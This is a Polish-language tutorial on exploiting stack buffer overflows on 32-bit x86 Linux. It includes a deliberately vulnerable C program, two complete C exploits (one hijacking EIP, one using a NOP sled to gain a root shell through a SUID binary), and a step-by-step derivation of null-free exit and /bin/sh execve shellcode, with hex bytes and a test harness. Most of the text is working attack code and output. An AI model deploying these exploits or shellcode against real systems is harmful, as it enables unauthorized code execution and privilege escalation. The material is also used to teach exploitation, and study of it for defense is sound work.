Buffer Overflow (art. 2)

by h07 (h07@interia.pl)

Intro

Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a także architektury systemu Linux i sposobów zarządzania pamięcią przez procesory IA32 (x86).

1) Przestrzenie adresowe, przejmowanie kontroli nad programem.

Procesory z rodziny IA32 (x86) nie rozróżniają rozkazów i danych i jeżeli napotkają rozkazy w miejscu gdzie powinny znajdować się dane zaczynają je wykonywać. Ubocznym skutkiem takiego działania jest możliwość dokonywania włamań. Dla każdego programu system tworzy w pamięci przestrzeń adresową. Ów przestrzeń może dzielić się na trzy segmenty .text, .bss oraz .data. Segmenty .bss i .data zarezerwowane są na dane natomiast segment .text przeznaczony jest do przechowywania rozkazów programu. Przy uruchomieniu pliku wykonywalnego informacja w nim zapisana wczytywana jest do utworzonej przestrzeni adresowej, po czym inicjowany jest stos oraz sterta. Jednym z podstawowych zadań stosu jest umożliwienie programom korzystania z funkcji, zatem możliwe jest wykonanie grupy rozkazów niezależnie od reszty programu. Terminem włamania określamy wykorzystanie “słabego punktu” programu lub systemu w celu spowodowania działania innego niż przewidzieli programiści.

```
//target.c

char pass[] = "open";

void access()
{
printf("password ok\n");
}

int main(int argc, char *argv[])
{
char buff[80];
if(argc < 2)
  {
  printf("%s <password>\n", argv[0]);
  exit(0);
  }
strcpy(buff, argv[1]);
if(strcmp(buff, pass) == 0)
access(); else
printf("access denied\n");
return 0;
}
```

Wyżej przedstawiony program podatny jest na przepełnienie bufora. Zakładamy ze nie znamy hasła dostępu a chcielibyśmy wywołać funkcje access(), która wyświetli stosowny komunikat. Cel ten można osiągnąć nadpisując rejestr EIP adresem funkcji access() co w rezultacie spowoduje skok i wykonanie ów funkcji. Aby odczytać adres funkcji access() musimy przyjrzeć się funkcji main() rozpisanej w kodzie assemblera,

```
[h07@h07, BO]$ gcc -o target target.c
[h07@h07, BO]$ gdb target

(gdb) disas main
```

```
Dump of assembler code for function main:
0x08048444 <main+0>:    push   %ebp
0x08048445 <main+1>:    mov    %esp,%ebp
0x08048447 <main+3>:    sub    $0x58,%esp
0x0804844a <main+6>:    and    $0xfffffff0,%esp
0x0804844d <main+9>:    mov    $0x0,%eax
0x08048452 <main+14>:   add    $0xf,%eax
0x08048455 <main+17>:   add    $0xf,%eax
0x08048458 <main+20>:   shr    $0x4,%eax
0x0804845b <main+23>:   shl    $0x4,%eax
0x0804845e <main+26>:   sub    %eax,%esp
0x08048460 <main+28>:   cmpl   $0x1,0x8(%ebp)
0x08048464 <main+32>:   jg     0x8048485 <main+65>
0x08048466 <main+34>:   sub    $0x8,%esp
0x08048469 <main+37>:   mov    0xc(%ebp),%eax
0x0804846c <main+40>:   pushl  (%eax)
0x0804846e <main+42>:   push   $0x80485c5
0x08048473 <main+47>:   call   0x804834c <_init+72>
0x08048478 <main+52>:   add    $0x10,%esp
0x0804847b <main+55>:   sub    $0xc,%esp
0x0804847e <main+58>:   push   $0x0
0x08048480 <main+60>:   call   0x804835c <_init+88>
0x08048485 <main+65>:   sub    $0x8,%esp
0x08048488 <main+68>:   mov    0xc(%ebp),%eax
0x0804848b <main+71>:   add    $0x4,%eax
0x0804848e <main+74>:   pushl  (%eax)
0x08048490 <main+76>:   lea    0xffffffa8(%ebp),%eax
0x08048493 <main+79>:   push   %eax
0x08048494 <main+80>:   call   0x804836c <_init+104>
0x08048499 <main+85>:   add    $0x10,%esp
0x0804849c <main+88>:   lea    0xffffffa8(%ebp),%eax
0x0804849f <main+91>:   sub    $0x8,%esp
0x080484a2 <main+94>:   push   $0x80495f4
0x080484a7 <main+99>:   push   %eax
0x080484a8 <main+100>:  call   0x804832c <_init+40>
0x080484ad <main+105>:  add    $0x10,%esp
0x080484b0 <main+108>:  test   %eax,%eax
0x080484b2 <main+110>:  jne    0x80484bb <main+119>
0x080484b4 <main+112>:  call   0x804842c <access>
0x080484b9 <main+117>:  jmp    0x80484cb <main+135>
0x080484bb <main+119>:  sub    $0xc,%esp
0x080484be <main+122>:  push   $0x80485d4
0x080484c3 <main+127>:  call   0x804834c <_init+72>
0x080484c8 <main+132>:  add    $0x10,%esp
0x080484cb <main+135>:  mov    $0x0,%eax
0x080484d0 <main+140>:  leave
0x080484d1 <main+141>:  ret
```

Interesuje nas instrukcja (call 0x804842c <access>) która powoduje przejście do wykonywania kodu o adresie 0x804842c. Zatem znamy już adres funkcji access(). “Wyexploitowanie” tego programu będzie polegało na nadpisaniu rejestru EIP adresem funkcji access().

```
//exp1.c (call   0x804842c <access>)
```

```
#include <stdio.h>

#define RET 0x804842c
#define BUFF_SIZE 92

int main()
{
int i;
char buffer[BUFF_SIZE];

for(i = 0; i <= BUFF_SIZE; i += 4)
*((long*)(&buffer[i])) = RET;

execl("./target", "target", buffer, NULL);

return 0;
}
```

Ten prosty exploit wypełnia cały bufor adresem funkcji access() po czym uruchamia “dziurawy” program podając mu bufor jako parametr. Rozmiar bufora jest o 12 bajtów większy niż rozmiar bufora atakowanego programu, mniejsza wartość nie powoduje błędu segmentacji.

Uruchamiamy exploit..

```
[h07@h07 BO]$ gcc -o exp1 exp1.c
[h07@h07 BO]$ ./exp1
access denied
password ok
```

Jak widzimy exploit nadpisał rejestr EIP adresem funkcji access() co spowodowało jej bezwarunkowe wykonanie.

2) Ustalanie adresu kodu powłoki.

Istnieje kilka metod ustalania adresu shellcodu. Dwa najbardziej popularne sposoby to odejmowanie offsetu od dna stosu lub od jego wierzchołka. Szanse na odnalezienie “wstrzykniętego” shellcodu możemy zwiększyć kilka, krotnie stosując metodę wypełniania bufora instrukcjami NOP.

przykład:

```
[N] = NOP
[S] = Shellcode
[R] = RET (Adres powrotny)

Bufor --> [NNNNNNNNNNNNNNNNNNSSSSSSSR]
```

Instrukcje NOP nie robią nic zatem trafienie w szereg tych instrukcji powoduje dalszy odczyt rozkazów aż do napotkania naszego kodu powłoki (shellcode). Im większy bufor tym lepiej dla nas, ponieważ wpakujemy w niego więcej instrukcji NOP zwiększając tym samym prawdopodobieństwo trafienia w szereg tych instrukcji.

Niżej przedstawiony exploit uruchomi powlokę systemu wykorzystując “dziurę”, w programie target.c. Ustalenie adresu kodu powłoki będzie realizowane po przez odejmowanie offsetu od wierzchołka stosu.

```
//exp2.c
```

```
#include <stdio.h>

#define BUFF_SIZE 92
#define NOP 0x90

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

unsigned long get_esp() //funkcja zwracająca wartosc rejestru ESP (wskaźnik
wierzchołka stosu)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
char buffer[BUFF_SIZE];
long ret_adr, offset;

if (argc == 1)
  {
  printf("ussage: %s <offset>\n", argv[0]);
  exit(0);
  }

offset = atoi(argv[1]);

ret_adr = get_esp() - offset; //ustalenie adresu shellcodu po przez odjęcie
offsetu od wierzchołka stosu

*((long*)(&buffer[BUFF_SIZE])) = ret_adr;

printf("[+] return address: 0x%x\n", ret_adr);

memset(buffer, NOP, BUFF_SIZE);

memcpy(buffer + BUFF_SIZE - strlen(shellcode) -4, shellcode,
strlen(shellcode));

execl("./target", "target", buffer, NULL);

return 0;
}
```

Przed uruchomieniem exploitu ustawimy atrybut SUID dla programu target.c dzięki czemu zdobędziemy uprawnienia root'a gdy atakowany program utworzy nową powlokę systemu.

```
[root@h07 BO]# chown root target
[root@h07 BO]# chmod +s target
```

Teraz odpalamy exploit..

```
[h07@h07 BO]$ whoami
h07
[h07@h07 BO]$ ./exp2 10
[+] return address: 0xbffff4de
access denied
sh-2.05b# whoami
root
sh-2.05b#
```

Jak widzimy otrzymaliśmy rootshell'a a odnalezienie adresu kodu powłoki powiodło się za pierwszym “strzałem” (offset 10) .

3) Podstawy tworzenia kodu powłoki.

Kod powłoki jest zbiorem rozkazów wykonywanych przez "zaatakowany" program a tworzenie takiego kodu jest jedną z podstawowych umiejętności hakera. W systemie Linux wywołanie systemowe odbywa się za pomocą przerwania programowego int 0x80. Następuje wówczas przejście z trybu użytkownika w tryb jądra i wykonanie funkcji systemowej. Do rejestru EAX ładowany jest identyfikator funkcji a jej argumenty trafiają do innych rejestrów procesora. Następnie wykonywane jest przejście w tryb jądra (przerwanie int 0x80) i wykonanie wywołania systemowego. Wywołanie exit() jest jednym z podstawowych wywołań systemu i to właśnie na podstawie tego "dydaktycznego" wywołania zostanie przedstawiony proces tworzenia kodu powłoki.

```
//exit.c
main()
{
exit(0);
}
```

Aby uzyskać identyfikator funkcji musimy skompilować ten program "statycznie" dzięki czemu wywołanie systemowe zostanie zachowane w programie.

```
[h07@h07 BO]$ gcc -static -o exit exit.c
[h07@h07 BO]$ gdb exit
```

(gdb) disas _exit

Interesują nas dwie otrzymane instrukcje..

```
mov $0x1,%eax
int $0x80
```

Powodują one przekazanie identyfikatora wywołania systemowego exit() do rejestru EAX i przejście procesora w tryb jądra co umożliwi jego wykonanie. Zatem aby stworzyć kod powłoki używający wywołania exit() musimy umieścić w rejestrze EAX wartość 1 oraz wykonać przerwanie programowe int 0x80. Argument funkcji exit(0); czyli 0 przekażemy do rejestru EBX.

```
;exit.asm

Section .text

 global _start

_start:
```

```
mov ebx,0
mov eax,1
int 0x80
```

Na podstawie tych instrukcji wygenerujemy binarny plik ELF z którego pobierzemy kody szesnastkowe potrzebne do utworzenia naszego kodu powłoki. Do tego celu będziemy potrzebowali narzędzia NASM (Netwide Assembler). Jest to darmowy assembler dla procesorów x86.

```
[h07@MD5 BO]$ nasm -f elf exit.asm
[h07@MD5 BO]$ ld -o exit exit.o
[h07@MD5 BO]$ objdump -d exit
```

Dzięki programowi objdump uzyskaliśmy kody szesnastkowe.

```
exit:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       bb 00 00 00 00          mov    $0x0,%ebx
 8048085:       b8 01 00 00 00          mov    $0x1,%eax
 804808a:       cd 80                   int    $0x80
```

Teraz wystarczy uzyskane kody szesnastkowe wpisać do tablicy typu char i powstanie nam gotowy do użycia kod powłoki.

```
char shellcode[] =

"\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
```

Aby przetestować kod powłoki możemy skorzystać z poniżej przedstawionego kodu programu w języku C.

```
//shellcode.c

char shellcode[] =

"\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";

int main()
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
return 0;
}
```

Kompilujemy i uruchamiamy..

```
[h07@MD5 BO]$ gcc -o shellcode shellcode.c
[h07@MD5 BO]$ ./shellcode
[h07@MD5 BO]$
```

Program bezbłędnie zakończył swoje działanie używając wywołania systemowego exit(). Jeśli chcemy upewnić się ze nasz kod powłoki rzeczywiście wykonał wywołanie exit() możemy skorzystać z narzędzia strace.

```
[h07@MD5 BO]$ strace ./shellcode
execve("./shellcode", ["./shellcode"], [/* 62 vars */]) = 0
uname({sys="Linux", node="MD5", ...})   = 0
brk(0)                                  = 0x804a000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40015000
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=52036, ...}) = 0
old_mmap(NULL, 52036, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220O\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1165108, ...}) = 0
old_mmap(NULL, 1175436, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0x40023000
old_mmap(0x4013c000, 16384, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x118000) = 0x4013c000
old_mmap(0x40140000, 8076, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40140000
close(3)                                = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0x400158a0, limit:1048575, seg_32bit:1, contents:0,
read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0x40016000, 52036)               = 0
_exit(0)
```

Jak łatwo można zauważyć ostatnim wywołaniem systemowym programu jest exit().

Kod powłoki “wstrzykiwany” jest przez exploit do bufora, który w większości przypadków jest tablicą znakową. Osoby programujące w języku C zapewne zauważyły ze nasz shellcode zawiera bajty zerowe (\x00) które używane są do ustalania końca łańcucha znakowego. Zatem “wstrzykniecie” i wykonanie tego kodu powłoki jest nie możliwe ponieważ zostanie on ucięty.

Bajty zerowe pojawiły się w naszym kodzie powłoki na skutek wykonania dwóch instrukcji..

```
mov ebx,0
mov eax,1
```

Miały one ustalić wartość 0 dla rejestru EBX i wartość 1 dla rejestru EAX. Rejestry te są 32-bitowe (4-bajtowe) a podane przez nas wartości można zapisać za pomocą 1 bajtu co spowodowało ze pozostałe bajty rejestrów zawierają wartość 0.

Aby pozbyć się bajtów zerowych z pierwszej instrukcji i “wyzerować” rejestr EBX wykorzystamy rozkaz operacji różnicy symetrycznej XOR. Jeśli argumenty rozkazu XOR są identyczne uzyskamy wartość 0.

```
xor ebx,ebx
```

32-bitowy rejestr EAX dzieli się na dwa 16-bitowe rejestry, z których jeden dostępny jest jako AX a rejestr AX dzieli się na dwa 8-bitowe (1-bajtowe) rejestry AL i AH.

Zatem aby uniknąć powstawania bajtów zerowych w naszym kodzie powłoki musimy zapisać w rejestrze EAX tylko 1 bajt wykorzystując do tego (1-bajtowy) rejestr AL. Przed wykonaniem tej operacji rejestr EAX również musi zostać “wyzerowany” rozkazem XOR.

```
xor eax,eax
mov al,1
```

Zmodyfikowany plik exit.asm wygląda następująco..

```
;exit.asm

Section .text

 global _start

_start:

xor ebx,ebx
xor eax,eax
mov al,1
int 0x80
```

Uzyskujemy kody szesnastkowe..

```
[h07@MD5 BO]$ nasm -f elf exit.asm
[h07@MD5 BO]$ ld -o exit exit.o
[h07@MD5 BO]$ objdump -d exit

exit:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 db                   xor    %ebx,%ebx
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       b0 01                   mov    $0x1,%al
 8048086:       cd 80                   int    $0x80
```

Uzyskane kody szesnastkowe wprowadzamy do tablicy znakowej
programu shellcode.c

```
//shellcode.c

char shellcode[] =

"\x31\xdb"
"\x31\xc0"
"\xb0\x01"
"\xcd\x80";

int main()
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
return 0;
```

```
}
```

Uruchamiamy kod powłoki

```
[h07@MD5 BO]$ gcc -o shellcode shellcode.c
[h07@MD5 BO]$ strace ./shellcode

_exit(0)                        = ?
```

Kod powłoki zadziałał bezbłędnie wykonując wywołanie systemowe exit(). Nie zawiera on już bajtów zerowych, więc nadaje się do “wstrzyknięcia” i wykonania przez atakowany program.

4) Wykorzystanie adresowania względnego podczas tworzenia kodu powłoki.

Dla wielu ludzi wyżej przedstawione operacje mogą wydawać się czarną magią. Samo wywołanie exit() nie przyda sie nam do przejęcia kontroli nad systemem dlatego w tym podpunkcie zostanie omówiony proces tworzenia shellcodu uruchamiającego nową powlokę systemu. Do tego celu wykorzystamy funkcje execve(), która wymaga trzech parametrów do uruchomienia. Jednym z parametrów ów funkcji będzie łańcuch znaków /bin/sh, którego adres zostanie załadowany do odpowiedniego rejestru procesora. Problem polega na tym, że kod powłoki nie może zawierać adresów zapisanych na stałe ponieważ na innych systemach adres łańcucha /bin/sh znajdującego się w pamięci może być zupełnie inny. W takim przypadku trzeba zastosować adresowanie względne zdejmując adres łańcucha znakowego /bin/sh ze stosu i umieszczając go w odpowiednim rejestrze dzięki czemu pozostałe rozkazy kodu powłoki będą mogły korzystać z łańcucha znaków na podstawie uzyskanego adresu.

przykład:

```
Section .text

global _start

_start:

jmp short get_adr


shellcode:

pop esi ;załadowanie adresu łańcucha "/bin/sh" ze stosu do rejestru ESI

;..dalsze instrukcje kodu powłoki


get_adr:

call shellcode

;wykonanie skoku w miejsce rozpoczęcia się instrukcji kodu
;powłoki i odłożenie na stos adresu następnego rozkazu. (łańcuch znaków
"/bin/sh")

db "/bin/sh"
```

Zasada działania jest prosta. Wykonywany jest skok do rozkazu call, dzięki któremu następuje powrót do instrukcji kodu powłoki. Adres następnego rozkazu po rozkazie call zostaje odłożony na stos umożliwiając tym samym zdjęcie go ze stosu i umieszczenie w odpowiednim rejestrze. W naszym przypadku

następnym rozkazem jest `db "/bin/sh"` zatem ze stosu do rejestru ESI trafi adres łańcucha znakowego /bin/sh.

Utworzenie nowej powłoki w języku C wykorzystując funkcje execve().

```
//execve.c

#include <stdio.h>

main()
{
char *arg_tab[2];
arg_tab[0] = "/bin/sh";
arg_tab[1] = NULL;
execve(arg_tab[0], arg_tab, NULL);
}
```

Pierwszym parametrem wywołania execve() jest wskaźnik do łańcucha znakowego, zawierającego nazwę wykonywanego programu. Kolejnym jest wskaźnik do tablicy argumentów a ostatnim parametrem jest wskaźnik do tablicy środowiska. W naszym przypadku przyjmie on wartość NULL.

Aby wykonać wywołanie execve() z poziomu asemblera musimy umieścić dane w czterech rejestrach po czym przełączyć procesor w tryb jądra przerwaniem programowym, int 0x80. Do rejestru EAX trafi identyfikator funkcji execve() a jej parametry zostaną pobrane z łańcucha znaków i umieszczone w rejestrach EBX, ECX, EDX.

Pierwszym krokiem jest zdefiniowanie łańcucha znaków za rozkazem CALL.

```
call shellcode
db '/bin/shXYYYYZZZZ'
```

Pierwszy człon ów łańcucha zawiera nazwę wykonywanego programu (/bin/sh). W miejsce X zostanie umieszczony bajt zerowy oddzielając nazwę programu od dwóch pozostałych parametrów wywołania systemowego execve(). Parametr wskazujący na tablice argumentów zostanie umieszczony w Miejsce znaków YYYY natomiast parametr wskazujący na tablice środowiska (w naszym przypadku NULL) zostanie umieszczony w miejsce znaków ZZZZ.

Rozkaz CALL wraca do wykonywania początkowych instrukcji kodu powłoki umieszczając na stosie względny adres łańcucha znakowego. Należy teraz zdjąć ten adres ze stosu i umieścić w odpowiednim rejestrze aby pozostałe instrukcje mogły odwołać się do łańcucha znaków.

```
shellcode:

pop esi
```

“Zerujemy” rejestr EAX rozkazem różnicy symetrycznej XOR po czym w miejsce znaku X umieszczamy 1-bajtowy odpowiednik rejestru EAX, rejestr AL uzyskując w ten sposób bajt zerowy. W naszym przypadku przesunięcie znaku X względem początku łańcucha wynosi 7 znaków (1 znak = 1 bajt).

```
xor eax, eax

mov byte [esi + 7], al
```

Drugim parametrem wywołania execve() jest wskaźnik tablicy argumentów. Umieszczamy go wstawiając w miejsce znaków YYYY zawartość 4-bajtowego rejestru ESI zawierającego adres pierwszego bajtu łańcucha znaków.

```
mov long [esi + 8], esi
```

Ostatnim parametrem jest wskaźnik tablicy środowiska, w naszym przypadku NULL. W miejsce znaków ZZZZ umieszczamy “wyzerowany” wcześniej rejestr EAX uzyskując wartość NULL.

```
mov long [esi + 12], eax
```

Ładujemy identyfikator funkcji execve() (11) do 1-bajtowego rejestru AL.

```
mov byte al, 11
```

W rejestrach EBX, ECX, EDX umieszczamy parametry wywołania systemowego execve() przechowywane w łańcuchu znaków.

```
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
```

Przełączamy procesor w tryb jądra i wykonujemy wywołanie systemowe.

```
int 0x80
```

Gotowy plik “execve.asm” przedstawiony jest poniżej.

```
;execve (execute /bin/sh shellcode) by h07

Section .text

global _start


_start:

jmp short get_adr

shellcode:

pop esi
xor eax, eax

mov byte [esi + 7], al
mov long [esi + 8], esi
mov long [esi + 12], eax

mov byte al, 11

mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]

int 0x80

get_adr:

call shellcode
```

```
db '/bin/shXYYYYZZZZ'
```

Teraz pozostaje tylko uzyskać kody szesnastkowe i umieścić je w tablicy znakowej.

```
[h07@MD5 BO]$ nasm -f elf execve.asm
[h07@MD5 BO]$ ld -o execve execve.o
[h07@MD5 BO]$ objdump -d execve

execve:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 18                   jmp    804809a <get_adr>

08048082 <shellcode>:
 8048082:       5e                      pop    %esi
 8048083:       31 c0                   xor    %eax,%eax
 8048085:       88 46 07                mov    %al,0x7(%esi)
 8048088:       89 76 08                mov    %esi,0x8(%esi)
 804808b:       89 46 0c                mov    %eax,0xc(%esi)
 804808e:       b0 0b                   mov    $0xb,%al
 8048090:       89 f3                   mov    %esi,%ebx
 8048092:       8d 4e 08                lea    0x8(%esi),%ecx
 8048095:       8d 56 0c                lea    0xc(%esi),%edx
 8048098:       cd 80                   int    $0x80

0804809a <get_adr>:
 804809a:       e8 e3 ff ff ff          call   8048082 <shellcode>
 804809f:       2f                      das
 80480a0:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480a3:       2f                      das
 80480a4:       73 68                   jae    804810e <get_adr+0x74>
 80480a6:       58                      pop    %eax
 80480a7:       59                      pop    %ecx
 80480a8:       59                      pop    %ecx
 80480a9:       59                      pop    %ecx
 80480aa:       59                      pop    %ecx
 80480ab:       5a                      pop    %edx
 80480ac:       5a                      pop    %edx
 80480ad:       5a                      pop    %edx
 80480ae:       5a                      pop    %edx
```

```
//shellcode.c

char shellcode[] =

"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a";

int main()
{
int (*func)();
```

```
func = (int (*)()) shellcode;
(int)(*func)();
return 0;
}
```

Uruchamiamy kod powłoki..

```
[h07@MD5 BO]$ gcc -o shellcode shellcode.c
[h07@MD5 BO]$ ./shellcode
sh-2.05b$
```

Shellcode zadziałał poprawnie tworząc nową powlokę systemu.